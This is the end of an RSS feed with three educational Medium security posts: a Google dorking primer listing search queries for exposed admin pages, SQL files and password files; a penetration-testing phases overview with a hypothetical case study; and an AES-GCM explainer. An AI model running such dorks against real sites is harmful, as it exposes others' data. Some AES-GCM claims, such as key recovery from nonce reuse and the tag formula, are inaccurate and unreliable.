alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google Dorking: A Powerful Search Technique for Security Assessments]]></title>
            <link>https://medium.com/@olyhossen10/google-dorking-a-powerful-search-technique-for-security-assessments-9118e13c7510?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/9118e13c7510</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Thu, 27 Feb 2025 05:13:46 GMT</pubDate>
            <atom:updated>2025-02-27T05:13:46.763Z</atom:updated>
            <content:encoded><![CDATA[<p>Google Dorking: A Powerful Search Technique for Security Assessments</p><p>What is Google Dorking?</p><p>Google Dorking, also known as Google Hacking, is an advanced search technique that utilizes specialized queries to extract hidden or sensitive information from publicly available web pages. By using specific Google search operators, security professionals, researchers, and even malicious actors can uncover exposed documents, misconfigured databases, login portals, and administrative interfaces.</p><p>While Google Dorking can reveal valuable information, it must be used ethically and legally. Misusing this technique to gain unauthorized access to sensitive data is illegal and can have severe consequences.</p><p>Ethical Use of Google Dorking</p><p>Google Dorking is a double-edged sword. While it can help organizations identify security vulnerabilities, it can also be used for malicious purposes. Ethical hackers and penetration testers use Google Dorks responsibly to:</p><p>Identify security weaknesses in web applications</p><p>Assess an organization’s security posture</p><p>Help companies protect sensitive data</p><p>To remain ethical and lawful, always:<br>✅ Have proper authorization before conducting security assessments<br>✅ Avoid accessing confidential or personal information without permission<br>✅ Follow Google&#39;s Terms of Service and cybersecurity best practices</p><p>Google Dorking in Penetration Testing</p><p>In penetration testing (pen testing), security professionals leverage Google Dorking to detect vulnerabilities before cybercriminals exploit them. By crafting advanced search queries, pen testers can:</p><p>Find exposed login pages (e.g., inurl:admin login)</p><p>Identify misconfigured databases (e.g., filetype:sql site:example.com)</p><p>Detect publicly accessible sensitive files (e.g., ext:pdf confidential site:example.com)</p><p>Once vulnerabilities are found, organizations can implement corrective security measures to protect their systems.</p><p>Essential Google Dork Commands</p><p>Google Dorking relies on specific search operators to refine search results. Here are some fundamental commands:</p><p>CommandDescriptionExampleintitle:Finds pages with specific words in the titleintitle:&quot;admin panel&quot;inurl:Searches for keywords in URLsinurl:loginfiletype:Finds specific file typesfiletype:pdf site:example.comsite:Restricts search to a particular domainsite:gov.in &quot;confidential&quot;ext:Searches for files with a specific extensionext:sql site:example.comintext:Finds keywords within page contentintext:&quot;password file&quot;</p><p>Combining Search Operators</p><p>To refine searches, logical operators like AND and OR can be used:</p><p>AND: Both conditions must be true</p><p>Example: site:example.com AND intitle:&quot;index of&quot;</p><p>OR: At least one condition must be true</p><p>Example: filetype:pdf OR filetype:xls site:example.com</p><p>Using Wildcards &amp; Special Characters</p><p>Asterisk (*) – Acts as a wildcard to replace unknown words</p><p>Example: site:example.com * admin</p><p>Hyphen (-) – Excludes certain terms from search results</p><p>Example: site:example.com -login</p><p>Final Thoughts</p><p>Google Dorking is a powerful tool for uncovering hidden information and assessing security risks. When used ethically, it helps organizations strengthen their defenses and prevent data leaks. However, misusing Google Dorking for unauthorized access is illegal and can lead to severe legal consequences.</p><p>By mastering Google Dork commands, search operators, and wildcards, cybersecurity professionals can conduct efficient security assessments and enhance online search accuracy.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9118e13c7510" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Penetration Testing Phases: A Complete Guide]]></title>
            <link>https://medium.com/@olyhossen10/understanding-penetration-testing-phases-a-complete-guide-e7c1205a50b4?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7c1205a50b4</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 10:27:05 GMT</pubDate>
            <atom:updated>2025-02-26T10:27:05.095Z</atom:updated>
            <content:encoded><![CDATA[<p>Understanding Penetration Testing Phases: A Complete Guide</p><p>Cyber threats continue to evolve, and businesses must remain vigilant in identifying and addressing vulnerabilities. One of the most effective ways to test security defenses is through penetration testing—a process where security experts simulate real-world cyberattacks to uncover weaknesses.</p><p>In this article, we will break down the five phases of penetration testing, explore a real-world case study, and understand how ethical hackers help organizations strengthen their cybersecurity.</p><p>The Five Phases of Penetration Testing</p><p>Penetration testing is a structured approach divided into five key phases, each serving a critical role in evaluating and improving security measures.</p><p>1. Planning Phase</p><p>Before starting a penetration test, the security team collaborates with the client to define the test scope, including:</p><p>Which systems will be tested</p><p>The testing methodologies to be used</p><p>The level of information pen testers will have in advance</p><p>Penetration tests are classified into three categories based on the tester’s knowledge of the system:</p><p>Black-box testing: The tester has no prior knowledge of the system and must rely on reconnaissance techniques, mimicking a real attacker.</p><p>White-box testing: The tester is given full access to the system’s architecture, including network diagrams and source code.</p><p>Gray-box testing: The tester has limited knowledge, such as IP ranges or partial credentials, to simulate an insider attack.</p><p>2. Discovery Phase</p><p>Once the scope is defined, pen testers begin the reconnaissance process, gathering information about the target system using various techniques:</p><p>OSINT (Open Source Intelligence): Collecting publicly available data</p><p>Network scanning: Identifying open ports and vulnerable services</p><p>Traffic analysis: Examining network behavior to detect weak points</p><p>Social engineering: Assessing the human element through phishing tests</p><p>The goal of this phase is to map the attack surface and identify potential vulnerabilities before executing an attack.</p><p>3. Attack Phase</p><p>With vulnerabilities identified, pen testers execute simulated attacks to exploit security weaknesses. These attacks may include:</p><p>SQL injection: Manipulating databases via input fields</p><p>Cross-site scripting (XSS): Injecting malicious scripts into web applications</p><p>Denial-of-service (DoS): Overloading systems to disrupt functionality</p><p>Brute-force attacks: Cracking passwords through repeated login attempts</p><p>Man-in-the-middle (MitM) attacks: Intercepting and altering communication between users and servers</p><p>During this phase, testers often employ vulnerability chaining—where they exploit one weakness to gain access to another, ultimately escalating privileges and increasing system control.</p><p>4. Verification Phase</p><p>After successfully exploiting vulnerabilities, pen testers analyze their effectiveness by:</p><p>Checking how security measures respond to attacks</p><p>Evaluating the depth of system infiltration</p><p>Refining their approach for future tests</p><p>This phase ensures that all attack paths are documented and helps determine the potential impact of each exploited vulnerability.</p><p>5. Cleanup and Reporting Phase</p><p>Once testing is complete, pen testers must:</p><p>Remove all traces of their activities, including backdoors and temporary files</p><p>Restore system configurations to their original state</p><p>Compile a comprehensive report, detailing:</p><p>Identified vulnerabilities</p><p>Exploitation techniques used</p><p>Evasion strategies applied</p><p>Steps taken during the test</p><p>Security recommendations for the client</p><p>This final phase provides organizations with actionable insights to strengthen their defenses and mitigate future threats.</p><p>Case Study: Penetration Testing on a Gaming Platform</p><p>To better understand penetration testing in action, let’s examine a hypothetical case study of a gaming company hiring a security firm to test its platform for vulnerabilities.</p><p>Phase 1: Planning</p><p>The gaming company and the security firm define the test scope. The testers will analyze:</p><p>The platform’s login security</p><p>Potential database vulnerabilities</p><p>Employee susceptibility to phishing attacks</p><p>Phase 2: Discovery</p><p>The security team begins data collection, using:</p><p>Source code analysis to identify weak coding practices</p><p>Web traffic inspection to analyze client-server interactions</p><p>OSINT techniques to gather employee details that could aid social engineering attacks</p><p>During this phase, they discover:</p><p>An outdated Apache server running on an open port</p><p>A SQL injection vulnerability in the login page</p><p>Phase 3: Attack</p><p>The pen testers exploit these weaknesses by:</p><p>Using SQL injection to gain unauthorized access to user databases</p><p>Exploiting the outdated Apache server to access the internal network</p><p>Deploying a keylogger to capture employee credentials</p><p>Running a phishing campaign that reveals weak employee security habits</p><p>Phase 4: Verification</p><p>To evaluate the impact of their attacks, the team:</p><p>Uses stolen credentials to access sensitive in-game transaction records</p><p>Moves laterally within the system, demonstrating the risk of privilege escalation</p><p>Phase 5: Cleanup &amp; Reporting</p><p>After completing the test, the security team:</p><p>Removes all keyloggers and restores altered settings</p><p>Documents findings, including:</p><p>The SQL injection flaw</p><p>The Apache server vulnerability</p><p>The phishing susceptibility of employees</p><p>Provides detailed recommendations to improve security, such as:</p><p>Implementing input validation to prevent SQL injection</p><p>Updating server software to the latest version</p><p>Conducting employee security awareness training</p><p>Final Thoughts</p><p>Penetration testing is an essential cybersecurity practice that helps organizations proactively identify and fix security weaknesses before real hackers can exploit them.</p><p>By following the five-phase approach, companies can:<br>✅ Strengthen their defenses against cyber threats<br>✅ Improve their incident response strategies<br>✅ Build a more secure digital environment for users</p><p>Want to dive deeper into penetration testing techniques? Stay tuned for more cybersecurity insights!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7c1205a50b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AES-GCM: The Complete Guide (Part 1) – How It Works & Why It’s Used]]></title>
            <link>https://medium.com/@olyhossen10/aes-gcm-the-complete-guide-part-1-how-it-works-why-its-used-5ff16eab635c?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ff16eab635c</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 02:34:53 GMT</pubDate>
            <atom:updated>2025-02-26T02:34:53.442Z</atom:updated>
            <content:encoded><![CDATA[<p>AES-GCM: The Complete Guide (Part 1) – How It Works &amp; Why It’s Used</p><p>AES-GCM is one of the most widely used encryption modes today, powering everything from HTTPS to secure messaging apps. But how does it actually work? And what makes it so secure (or vulnerable)?</p><p>This two-part series will break down AES-GCM in detail, covering both its strengths and weaknesses.</p><p>In Part 1, we’ll explore how AES-GCM works, how authentication is added, and why it’s widely adopted.</p><p>In Part 2, we’ll dive into vulnerabilities, including real-world attacks that allow an attacker to forge messages, recover encryption keys, and break AES-GCM security.</p><p>Table of Contents</p><p>Part 1: How AES-GCM Works</p><p>What is AES-GCM?</p><p>How AES Works in GCM Mode</p><p>GHASH – The Authentication Behind AES-GCM</p><p>Why AES-GCM is So Popular</p><p>AES-GCM Security: Strengths &amp; Weaknesses</p><p>Part 2: Attacking AES-GCM</p><p>How Attackers Forge Messages in AES-GCM</p><p>Exploiting Authentication Tag Collisions</p><p>Recovering the AES Key from AES-GCM</p><p>Mitigating AES-GCM Weaknesses</p><p>Part 1: How AES-GCM Works</p><p>1. What is AES-GCM?</p><p>AES-GCM (Advanced Encryption Standard – Galois/Counter Mode) is an encryption mode that provides both confidentiality and authentication. It’s commonly used in:</p><p>HTTPS (TLS 1.2 &amp; TLS 1.3) for encrypting web traffic</p><p>VPNs like WireGuard and OpenVPN</p><p>Encrypted messaging apps like Signal and WhatsApp</p><p>Disk encryption for secure data storage</p><p>Why is GCM Important?</p><p>Unlike older modes like AES-CBC, which require separate message authentication (like HMAC), AES-GCM combines encryption and authentication into one step. This makes it both:</p><p>✅ Faster (because it uses parallelizable operations)<br>✅ More secure (because it prevents padding oracle attacks)</p><p>2. How AES Works in GCM Mode</p><p>AES-GCM uses AES in Counter Mode (AES-CTR) for encryption, meaning:</p><p>A random nonce is generated (typically 12 bytes)</p><p>AES encrypts a counter value to produce a keystream</p><p>The plaintext is XORed with the keystream to get the ciphertext</p><p>Example of AES-CTR Encryption</p><p>from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from binascii import hexlify # Generate a random AES key and nonce key = get_random_bytes(16) nonce = get_random_bytes(12) # Create an AES-GCM cipher cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) # Encrypt a message plaintext = b&quot;Hello, AES-GCM!&quot; ciphertext, tag = cipher.encrypt_and_digest(plaintext) print(f&quot;Ciphertext: {hexlify(ciphertext).decode()}&quot;) print(f&quot;Authentication Tag: {hexlify(tag).decode()}&quot;)</p><p>🔹 Why Counter Mode? AES-CTR turns AES into a stream cipher, making encryption fast and avoiding problems like padding oracle attacks.</p><p>3. GHASH – The Authentication Behind AES-GCM</p><p>Unlike AES-CTR (which only encrypts data), AES-GCM adds authentication using the GHASH function.</p><p>How GHASH Works</p><p>AES generates an authentication key H, derived from AES encryption of a zero block.</p><p>GHASH computes a polynomial using the ciphertext and additional data (like headers).</p><p>The authentication tag (T) is created from GHASH and encrypted with AES.</p><p>Tag=AES(GHASH(H,A,C))\text{Tag} = \text{AES}(\text{GHASH}(H, A, C))</p><p>Where:</p><p>H is the authentication key</p><p>A is additional authenticated data (AAD)</p><p>C is the ciphertext</p><p>This ensures both integrity and authenticity, preventing message tampering.</p><p>4. Why AES-GCM is So Popular</p><p>AES-GCM is the preferred encryption mode for modern applications because it is:</p><p>✅ Fast – Uses parallelizable AES-CTR mode<br>✅ Authenticated – Detects tampering using GHASH<br>✅ Resistant to Padding Attacks – Unlike AES-CBC<br>✅ Standardized – Used in TLS, SSH, and IPsec</p><p>However, AES-GCM has some weaknesses, particularly if nonces are reused, which we’ll explore in Part 2.</p><p>5. AES-GCM Security: Strengths &amp; Weaknesses</p><p>Strengths</p><p>Efficient Encryption: AES-CTR mode allows parallel processing.</p><p>Authentication Included: No need for separate HMAC.</p><p>Widely Supported: Used in TLS 1.3, SSH, and more.</p><p>Weaknesses</p><p>⚠️ Nonce Reuse = Catastrophic Failure</p><p>If the same nonce is used twice, an attacker can recover the plaintext and even the encryption key!</p><p>⚠️ GHASH is Linear</p><p>If attackers manipulate the authentication tag, they can potentially forge valid messages.</p><p>Coming Up in Part 2: Attacking AES-GCM</p><p>Now that we understand how AES-GCM works, it’s time to break it. In Part 2, we’ll explore:</p><p>🔓 How attackers forge AES-GCM authentication tags<br>🔓 Exploiting authentication tag collisions<br>🔓 Recovering the AES key from AES-GCM</p><p>Stay tuned for the next part, where we dive into real-world cryptographic attacks on AES-GCM!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ff16eab635c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>